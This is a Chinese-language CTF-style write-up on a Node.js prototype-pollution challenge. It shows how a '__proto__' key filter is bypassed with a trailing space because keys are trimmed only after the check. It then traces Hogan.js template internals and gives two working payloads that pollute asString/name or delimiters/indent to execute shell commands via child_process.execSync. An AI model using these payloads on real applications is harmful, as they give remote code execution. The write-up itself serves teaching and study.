一道原型链污染的题目

Decade 2021-11-26 10:13:00

0x00 背景

源码:

const express = require("express");
const { open } = require("sqlite");
const sqlite = require("sqlite3");
const hogan = require("hogan.js");

const app = express();
app.use((req, res, next) => {
  res.setHeader("connection", "close");
  next();
});
app.use(express.urlencoded({ extended: true }));

const loadDb = () => {
  return open({
    driver: sqlite.Database,
    filename: "./data.sqlite",
  });
};

const defaults = {
  city: "*",
};

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];
//const UNSAFE_KEYS = [""];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue;
    const val = obj2[key];
    key = key.trim();
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);
    } else {
      obj1[key] = val;
    }
  }

  return obj1;
};

这里很明显是存在原型链污染漏洞的,但是这里对key做了过滤,过滤了__proto__、constructor、prototype

但是我们来看,只需要利用空格,即可绕过对key的限制

Untitled.png

0x01 利用原型链污染来达到rce的目的

我们跟进compile函数看看,我们可以看到这里我们可控的就是options的属性的,一眼望去,首先想到控制options.delimiters,

Hogan.cacheKey = function(text, options) {
    return [text, !!options.asString, !!options.disableLambda, options.delimiters, !!options.modelGet].join('||');
  }

  Hogan.compile = function(text, options) {
    options = options || {};
    var key = Hogan.cacheKey(text, options);
    var template = this.cache[key];

    if (template) {
      var partials = template.partials;
      for (var name in partials) {
        delete partials[name].instance;
      }
      return template;
    }

    template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options);
    return this.cache[key] = template;
  }

大家知道,很多模版的内容为{{city}}

delimiters的内容就是{{ }},默认情况是这样,然后再解析的时候会识别成tag

Untitled 1.png

我们继续往下看,在经过parse函数之后会进入到generate

Hogan.generate = function(tree, text, options) {
    serialNo = 0;
    var context = { code: '', subs: {}, partials: {} };
    Hogan.walk(tree, context);

    if (options.asString) {
      return this.stringify(context, text, options);
    }

    return this.makeTemplate(context, text, options);
  }

跟进walk函数,这里Hogan.codegen是写死的,我们并不可以通过污染去试图改变他的数组内容

Hogan.walk = function(nodelist, context) {
    var func;
    for (var i = 0, l = nodelist.length; i < l; i++) {
      func = Hogan.codegen[nodelist[i].tag];
      func && func(nodelist[i], context);
    }
    return context;
  }

他的列表有如下

Hogan.codegen = {
    '#': function(node, context) {
      context.code += 'if(t.s(t.' + chooseMethod(node.n) + '("' + esc(node.n) + '",c,p,1),' +
                      'c,p,0,' + node.i + ',' + node.end + ',"' + node.otag + " " + node.ctag + '")){' +
                      't.rs(c,p,' + 'function(c,p,t){';
      Hogan.walk(node.nodes, context);
      context.code += '});c.pop();}';
    },

    '^': function(node, context) {
      context.code += 'if(!t.s(t.' + chooseMethod(node.n) + '("' + esc(node.n) + '",c,p,1),c,p,1,0,0,"")){';
      Hogan.walk(node.nodes, context);
      context.code += '};';
    },

    '>': createPartial,
    '<': function(node, context) {
      var ctx = {partials: {}, code: '', subs: {}, inPartial: true};
      Hogan.walk(node.nodes, ctx);
      var template = context.partials[createPartial(node, context)];
      template.subs = ctx.subs;
      template.partials = ctx.partials;
    },

    '$': function(node, context) {
      var ctx = {subs: {}, code: '', partials: context.partials, prefix: node.n};
      Hogan.walk(node.nodes, ctx);
      context.subs[node.n] = ctx.code;
      if (!context.inPartial) {
        context.code += 't.sub("' + esc(node.n) + '",c,p,i);';
      }
    },

    '\n': function(node, context) {
      context.code += write('"\\n"' + (node.last ? '' : ' + i'));
    },

    '_v': function(node, context) {
      context.code += 't.b(t.v(t.' + chooseMethod(node.n) + '("' + esc(node.n) + '",c,p,0)));';
    },

    '_t': function(node, context) {
      context.code += write('"' + esc(node.text) + '"');
    },

    '{': tripleStache,

    '&': tripleStache
  }

最后都是调用对应tag的函数,写进context.code,这里出现一个问题,比如我们可以插入{{$xxx}},他会解析到$标签(利用污染),然而非常可惜到是,这些函数并不会执行,而且污染delimiters,会导致parse模版的时候tag不可控,导致无法真正的污染到。(但后面还是可以利用的)

function(node, context) {
      var ctx = {subs: {}, code: '', partials: context.partials, prefix: node.n};
      Hogan.walk(node.nodes, ctx);
      context.subs[node.n] = ctx.code;
      if (!context.inPartial) {
        context.code += 't.sub("' + esc(node.n) + '",c,p,i);';
      }
    }

然后我们可以看到,这个asString我们可以控制,我们跟进stringify查看

if (options.asString) {
      return this.stringify(context, text, options);
    }
function stringifyPartials(codeObj) {
    var partials = [];
    for (var key in codeObj.partials) {
      partials.push('"' + esc(key) + '":{name:"' + esc(codeObj.partials[key].name) + '", ' + stringifyPartials(codeObj.partials[key]) + "}");
    }
    return "partials: {" + partials.join(",") + "}, subs: " + stringifySubstitutions(codeObj.subs);
  }

  Hogan.stringify = function(codeObj, text, options) {
    return "{code: function (c,p,i) { " + Hogan.wrapMain(codeObj.code) + " }," + stringifyPartials(codeObj) +  "}";
  }

Hogan.wrapMain = function(code) {
    return 'var t=this;t.b(i=i||"");' + code + 'return t.fl();';
  }

function esc(s) {
    return s.replace(rSlash, '\\\\')
            .replace(rQuot, '\\\"')
            .replace(rNewline, '\\n')
            .replace(rCr, '\\r')
            .replace(rLineSep, '\\u2028')
            .replace(rParagraphSep, '\\u2029');
  }

可以看stringifyPartials,这里很明显存在一个for循环,那么我们可以利用污染的方式,污染codeObj.partials[key].name,让他拼接代码,最后返回,注意这里需要污染name,不然会报错,但是问题来了,我们还是没有地方调用,但是题目帮了我们的忙,这里try catch,如果fail的话,会调用 res.json({ error: Function(f)() });

try {
    return res.send(template.render({ data }));
  } catch (ex) {
  } finally {
    await db.close();
  }
  const f = `return ${template}`;
  try {
    res.json({ error: Function(f)() });
  } catch (ex) {
    res.json({ error: ex + "" });
  }

最终我们的exp如下

__proto__ [asString]=1&__proto__ [name]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//

Untitled 2.png

0x02 另一种不依靠Function(f)()的方法rce

那就是直接在template.render的时候触发,exp如下

__proto__ [delimiters]=tr %0a&__proto__ [indent]=/*"));return process.mainModule.require(`child_process`).execSync(`whoami`).toString()//*/

其实利用点上面也提到了,也就是利用Hogan.walk(tree, context);的时候,当tag为>,会调用createPartial函数,而这里node.indent是undefined的,所以我们可以污染indent

function createPartial(node, context) {
    var prefix = "<" + (context.prefix || "");
    var sym = prefix + node.n + serialNo++;
    context.partials[sym] = {name: node.n, partials: {}};
    context.code += 't.b(t.rp("' +  esc(sym) + '",c,p,"' + (node.indent || '') + '"));';
    return sym;
  }

这也就需要我们利用delimiters,让他识别有>为tag的token,我们仔细看模版内容,非常多了,这里随便那一个,tr>,最后调用的时候调用template.render({ data })的时候实现rce

<table border="1">
  <thead>
    <tr>
      <th>City</th>
      <th>Pollution index</th>
      <th>Year</th>
    </tr>
  </thead>
  <tbody>
  {{#data}}
    <tr>
      <td>{{city}}</td>
      <td>{{pollution}}</td>
      <td>{{year}}</td>
    </tr>
  {{/data}}
  {{^data}}
    Nothing found
  {{/data}}
  </tbody>
</table>

Untitled 3.png

评论

WT_Elf 2023-03-06 22:23:36

写的很不错的说!!点赞,不过的是我猜测加空格绕过__proto__的原因是因为merge中使用了trim()方法:
const merge = (obj1, obj2) => {
for (let key of Object.keys(obj2)) {
if (UNSAFE_KEYS.includes(key)) continue;
const val = obj2[key];
key = key.trim(); //这里相当重要,比如__proto__ 去掉空格得到__proto__的结果
if (typeof obj1[key] !== "undefined" && typeof val === "object") {
obj1[key] = merge(obj1[key], val);
} else {
obj1[key] = val; //key为去掉空格得到的__proto__,所以正常污染
}
}
}

Decade

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

软件安全 文章:17 篇
PHP安全 文章:45 篇
渗透测试 文章:154 篇
Web安全 文章:248 篇
Android 文章:89 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录